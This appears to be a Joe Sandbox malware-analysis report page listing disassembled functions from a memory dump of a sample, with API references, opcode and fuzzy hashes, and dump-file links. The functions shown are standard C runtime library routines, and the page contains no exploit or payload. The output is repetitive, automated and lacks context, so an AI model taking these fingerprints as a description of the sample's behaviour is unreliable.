Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 9245bd87b10c8eb85fafc7d5f5f6e160b723eee6f1839fc45bcba72974486106
Instruction ID: 27c9d39cbfb92b1df62464736b05ff5d5ed78cac17c25b9c6fd7c591a478ef93
Opcode Fuzzy Hash: 9245bd87b10c8eb85fafc7d5f5f6e160b723eee6f1839fc45bcba72974486106
Instruction Fuzzy Hash: F8212735A41A11AFD7229BE0AC45F6A3F68FB437A0F250619FD05A7282EA70ED00D6D4

Function 005B539B Relevance: 10.6, APIs: 7, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 005B53A2
std::_Lockit::_Lockit.LIBCPMT ref: 005B53AC
int.LIBCPMT ref: 005B53C3

Part of subcall function 005B16AA: std::_Lockit::_Lockit.LIBCPMT ref: 005B16BB
Part of subcall function 005B16AA: std::_Lockit::~_Lockit.LIBCPMT ref: 005B16D5

codecvt.LIBCPMT ref: 005B53E6
std::_Facet_Register.LIBCPMT ref: 005B53FD
std::_Lockit::~_Lockit.LIBCPMT ref: 005B541D
Concurrency::cancel_current_task.LIBCPMT ref: 005B542A

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID:
API String ID: 2133458128-0
Opcode ID: 11dcc74e4d2c936f7deb2c49b4dd6fe9db14cdc0a1f5c7cdd9d475967ce852f6
Instruction ID: 264e26af6418c8f65564b29a0d2ec08022e0660e57d0070ece0d409bbad66d27
Opcode Fuzzy Hash: 11dcc74e4d2c936f7deb2c49b4dd6fe9db14cdc0a1f5c7cdd9d475967ce852f6
Instruction Fuzzy Hash: F411AF71910A1A9FCB14AB68C84A7ED7FB5FFC4720F24445DE401A7291EFB4BE008B91

Function 005F92D3 Relevance: 10.6, APIs: 7, Instructions: 55
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnDecorator::UScore.LIBCMT ref: 005F92DD
DName::DName.LIBCMT ref: 005F92E9

Part of subcall function 005F6FB4: DName::doPchar.LIBCMT ref: 005F6FE5

UnDecorator::getScopedName.LIBCMT ref: 005F9328
DName::operator+=.LIBCMT ref: 005F9332
DName::operator+=.LIBCMT ref: 005F9341
DName::operator+=.LIBCMT ref: 005F934D
DName::operator+=.LIBCMT ref: 005F935A

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID:
API String ID: 1480779885-0
Opcode ID: 23bb66ba7c0c68d0bfc5bce08223bbb55780766e01e2ba2a51e198509357868b
Instruction ID: c1ca7145c4b0bdde503c4862148661acc421bb93a52df0102c3db9808d8622ed
Opcode Fuzzy Hash: 23bb66ba7c0c68d0bfc5bce08223bbb55780766e01e2ba2a51e198509357868b
Instruction Fuzzy Hash: CD11A37190060DAFCB05EB68C85DBBD7FB4BB44301F4444A9E2069B2D2DB78DA44C741

Function 005B3C72 Relevance: 10.5, APIs: 7, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 005B3C79
std::_Lockit::_Lockit.LIBCPMT ref: 005B3C83
int.LIBCPMT ref: 005B3C9A

Part of subcall function 005B16AA: std::_Lockit::_Lockit.LIBCPMT ref: 005B16BB
Part of subcall function 005B16AA: std::_Lockit::~_Lockit.LIBCPMT ref: 005B16D5

codecvt.LIBCPMT ref: 005B3CBD
std::_Facet_Register.LIBCPMT ref: 005B3CD4
std::_Lockit::~_Lockit.LIBCPMT ref: 005B3CF4
Concurrency::cancel_current_task.LIBCPMT ref: 005B3D01

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID:
API String ID: 2133458128-0
Opcode ID: 6a8ce4fefb79e6d6192b1d79c979f62313943c5cee7a69b5542835fea5689e41
Instruction ID: 92a89bf72a2e3289c8a782dc49b3e37432a3e782f9f340705e68d87314a1b6dd
Opcode Fuzzy Hash: 6a8ce4fefb79e6d6192b1d79c979f62313943c5cee7a69b5542835fea5689e41
Instruction Fuzzy Hash: 9601697590051A9FCB05EBA8C91AAED7FA1BFC4710F280459F801BB291DF71BE059BA1

Function 005FB2FD Relevance: 9.1, APIs: 6, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DName::operator=.LIBCMT ref: 005FB4E3

Part of subcall function 005F72B4: DName::doPchar.LIBCMT ref: 005F72DD

DName::DName.LIBCMT ref: 005FB573
DName::operator+.LIBCMT ref: 005FB57A
DName::DName.LIBCMT ref: 005FB59D
DName::operator+.LIBCMT ref: 005FB5A4
DName::operator+=.LIBCMT ref: 005FB5B0
DName::operator=.LIBCMT ref: 005FB5D7
DName::operator+=.LIBCMT ref: 005FB5E9
DName::operator=.LIBCMT ref: 005FB5FD
UnDecorator::getPtrRefType.LIBCMT ref: 005FB612
operator+.LIBCMT ref: 005FB624

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: 41adee5c73aa1e88243f3158e2c40ed16f52e1afc6b9bf2c17e63ec85b627ffa
Instruction ID: a498194a70c4af48959b847902db9369e1a49f22a3af379a4bcff245acfc381a
Opcode Fuzzy Hash: 41adee5c73aa1e88243f3158e2c40ed16f52e1afc6b9bf2c17e63ec85b627ffa
Instruction Fuzzy Hash: 8C216A76A0014EDAEF18CEBCD9499BDBFB4BB04302F54416AE711D6688EB3CDB048A10

Function 005FB2F3 Relevance: 9.1, APIs: 6, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DName::operator=.LIBCMT ref: 005FB4E3

Part of subcall function 005F72B4: DName::doPchar.LIBCMT ref: 005F72DD

DName::DName.LIBCMT ref: 005FB573
DName::operator+.LIBCMT ref: 005FB57A
DName::DName.LIBCMT ref: 005FB59D
DName::operator+.LIBCMT ref: 005FB5A4
DName::operator+=.LIBCMT ref: 005FB5B0
DName::operator=.LIBCMT ref: 005FB5D7
DName::operator+=.LIBCMT ref: 005FB5E9
DName::operator=.LIBCMT ref: 005FB5FD
UnDecorator::getPtrRefType.LIBCMT ref: 005FB612
operator+.LIBCMT ref: 005FB624

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: c5ff01363cc5be2414fde705ddc2477139869efe325205967f2b79d65d07f3e5
Instruction ID: 1536f3ebf7381b9e4380380f975e19ed74edfc719481a88a54bef178f3221b5f
Opcode Fuzzy Hash: c5ff01363cc5be2414fde705ddc2477139869efe325205967f2b79d65d07f3e5
Instruction Fuzzy Hash: F2216A76A0014EDAEF18CEBCD9499BDBFB4BB04302F54416AE711D6688EB3CDF048A10

Function 005FB311 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 005FB4E3

Part of subcall function 005F72B4: DName::doPchar.LIBCMT ref: 005F72DD

DName::DName.LIBCMT ref: 005FB573
DName::operator+.LIBCMT ref: 005FB57A
DName::DName.LIBCMT ref: 005FB59D
DName::operator+.LIBCMT ref: 005FB5A4
DName::operator+=.LIBCMT ref: 005FB5B0
DName::operator=.LIBCMT ref: 005FB5D7
DName::operator+=.LIBCMT ref: 005FB5E9
DName::operator=.LIBCMT ref: 005FB5FD
UnDecorator::getPtrRefType.LIBCMT ref: 005FB612
operator+.LIBCMT ref: 005FB624

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: 04bf772949b8752548d84cbfff0da56238cecf44966dde39219307ebaddb036f
Instruction ID: a7fa063a7b8fec98b45a2b3e694a26a0a31071c6da7e2914326ea5be34874811
Opcode Fuzzy Hash: 04bf772949b8752548d84cbfff0da56238cecf44966dde39219307ebaddb036f
Instruction Fuzzy Hash: 1A216A76A0014EDAEF18CEBCD9499BDBFB4BB04302F54416AE711D6688EB3CDB048A10

Function 005FB307 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 005FB4E3

Part of subcall function 005F72B4: DName::doPchar.LIBCMT ref: 005F72DD

DName::DName.LIBCMT ref: 005FB573
DName::operator+.LIBCMT ref: 005FB57A
DName::DName.LIBCMT ref: 005FB59D
DName::operator+.LIBCMT ref: 005FB5A4
DName::operator+=.LIBCMT ref: 005FB5B0
DName::operator=.LIBCMT ref: 005FB5D7
DName::operator+=.LIBCMT ref: 005FB5E9
DName::operator=.LIBCMT ref: 005FB5FD
UnDecorator::getPtrRefType.LIBCMT ref: 005FB612
operator+.LIBCMT ref: 005FB624

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: fd9685c0f8e99762da6b47b8c6f7231e6a09b9523451af01b9522ecad555d412
Instruction ID: 95ccd35dada8f7a8a44a6a54170983734ff755df5f62f221e16e57c3ed6555a5
Opcode Fuzzy Hash: fd9685c0f8e99762da6b47b8c6f7231e6a09b9523451af01b9522ecad555d412
Instruction Fuzzy Hash: 5E218C76A0014EDAEF18CEBCD9499BDBFB4BB04302F54416AE711D6688EB3CDB048B10

Function 005BA0CA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,005BA0C1,005B82DB,005B7992), ref: 005BA0D8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 005BA0E6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 005BA0FF
SetLastError.KERNEL32(00000000,005BA0C1,005B82DB,005B7992), ref: 005BA151

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: e954d26b6d98f5212685d08b244c7f851c510efc7cfe898257dfcca69f7e508e
Instruction ID: ef729ac55ec200dba4557c51b1728733a5a7a4d7d5cf66b1525b38375fb34f99
Opcode Fuzzy Hash: e954d26b6d98f5212685d08b244c7f851c510efc7cfe898257dfcca69f7e508e
Instruction Fuzzy Hash: 9501FC326096126EF67427B87C8E7EA3F95FB61771B20422BF110510E1EFD17C08E152

Function 005FFFA3 Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 005FFEFA

Part of subcall function 005F5D28: __mtinitlocknum.LIBCMT ref: 005F5D3E
Part of subcall function 005F5D28: __amsg_exit.LIBCMT ref: 005F5D4A

_free.LIBCMT ref: 005FFF21
__lock.LIBCMT ref: 005FFF3A
___removelocaleref.LIBCMT ref: 005FFF49
___freetlocinfo.LIBCMT ref: 005FFF62
_free.LIBCMT ref: 005FFF7F

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: __lock_free$___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 1181530324-0
Opcode ID: 14eb0c7fe894d5b8d852f0898a8411548b399900cf7780233aa77db08523b3c3
Instruction ID: 4818fc05c4e9d732a479adf94b42e9c808c5e4f397a0e9ca56a3a0cadc89ae83
Opcode Fuzzy Hash: 14eb0c7fe894d5b8d852f0898a8411548b399900cf7780233aa77db08523b3c3
Instruction Fuzzy Hash: 75118F3154570EAADB20AF64980E73D7AA4BF46720F24492DF394D75D1EB3C9980C754

Function 005BEEAE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,FAA3DA59,?,?,00000000,005CD586,000000FF,?,005BEE3E,?,?,005BEE12,00000016), ref: 005BEEE3
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 005BEEF5
FreeLibrary.KERNEL32(00000000,?,00000000,005CD586,000000FF,?,005BEE3E,?,?,005BEE12,00000016), ref: 005BEF17

Strings

CorExitProcess, xrefs: 005BEEED
mscoree.dll, xrefs: 005BEEDC

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ac053dc805449eba55d2c2d9863b7268d8e1267883a14b82cf062132fc9cf3ac
Instruction ID: 1986b31399b417b72f3c89fb1b3edc98293e4c931c6ea063a6113d368932f4fb
Opcode Fuzzy Hash: ac053dc805449eba55d2c2d9863b7268d8e1267883a14b82cf062132fc9cf3ac
Instruction Fuzzy Hash: 6701A231944659AFDB118F54CC0AFFEBFB9FB04B14F040526E811A22D0DBB4D804CA94

Function 005ECBA0 Relevance: 7.8, APIs: 5, Instructions: 297COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005ECC27
_memset.LIBCMT ref: 005ECC38
_memset.LIBCMT ref: 005ECD00
_memset.LIBCMT ref: 005ECD6C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005ECE8E

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: _memset$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 2583058844-0
Opcode ID: d5154201261d98dd49ec3167d00f3a754cd273ccce8e86cb9f9af44637ef3501
Instruction ID: c818dba8bd4bb9c3088c8670eff1e0b05e1fb4d8aef58c75857e2f7e50456264
Opcode Fuzzy Hash: d5154201261d98dd49ec3167d00f3a754cd273ccce8e86cb9f9af44637ef3501
Instruction Fuzzy Hash: 68C118B1D0025AABCF25EF64DC49AEE7B7DBB48304F0144A2FA19A3150EB359F858F51

Function 005C5CD6 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 005C5D5D
__alloca_probe_16.LIBCMT ref: 005C5E1E
__freea.LIBCMT ref: 005C5E85

Part of subcall function 005C4DA8: HeapAlloc.KERNEL32(00000000,00000000,?,?,005B7AC5,?,?,?,?,?,005B119C,?,00000001), ref: 005C4DDA

__freea.LIBCMT ref: 005C5E9A
__freea.LIBCMT ref: 005C5EAA

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 67fa2ce92b30d1eb970b55f4b64273108607df872b912ac3431cc40dd5b08e12
Instruction ID: 4cce32e91208e975e63e5a8e4a5f94ef21e0bbe8c9b94319a2415bc877e064bc
Opcode Fuzzy Hash: 67fa2ce92b30d1eb970b55f4b64273108607df872b912ac3431cc40dd5b08e12
Instruction Fuzzy Hash: 9C519E72600606AFEB259EE58C49FBB3FADFB84314B15056DFC09D6140F771EE9086A0

Function 005FCB0F Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 005FCB23
__init_pointers.LIBCMT ref: 005FCBD5
__calloc_crt.LIBCMT ref: 005FCC43
__initptd.LIBCMT ref: 005FCC68

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: __calloc_crt__init_pointers__initptd__mtterm
String ID:
API String ID: 3132042578-0
Opcode ID: c4b24359c7556117875d4a9d0ed065821010c0f35d81486e563c5d9150432d9a
Instruction ID: 306c7ce1358fc15fb618fe77d49433aeebd8cb873d9edb719ba34f7e4d7cd99b
Opcode Fuzzy Hash: c4b24359c7556117875d4a9d0ed065821010c0f35d81486e563c5d9150432d9a
Instruction Fuzzy Hash: 56315C35D003589ADB22AF79AE096263FA4FF84761F10063AE614D32B1DFB9C841CF48

Function 005F7A1A Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 005F7A63
DName::operator+.LIBCMT ref: 005F7A6A
DName::DName.LIBCMT ref: 005F7A8C
DName::operator+.LIBCMT ref: 005F7A93
DName::operator+.LIBCMT ref: 005F7A9A

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: 3aa0acc439a82f8bd65084423e96e0a9ca118dedd833d16da9c95a53395b9bdd
Instruction ID: 42bed584ce240c31fd966174c6dd3b46274adebb107503630ce93159f8caff50
Opcode Fuzzy Hash: 3aa0acc439a82f8bd65084423e96e0a9ca118dedd833d16da9c95a53395b9bdd
Instruction Fuzzy Hash: 6A015E3060420EAFCF04EBA4D846EBD7BB5FB88705F004455B6059B296EA78EA458784

Function 005B3668 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005B3674
int.LIBCPMT ref: 005B3687

Part of subcall function 005B16AA: std::_Lockit::_Lockit.LIBCPMT ref: 005B16BB
Part of subcall function 005B16AA: std::_Lockit::~_Lockit.LIBCPMT ref: 005B16D5

std::_Facet_Register.LIBCPMT ref: 005B36BA
std::_Lockit::~_Lockit.LIBCPMT ref: 005B36D0
Concurrency::cancel_current_task.LIBCPMT ref: 005B36DB

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
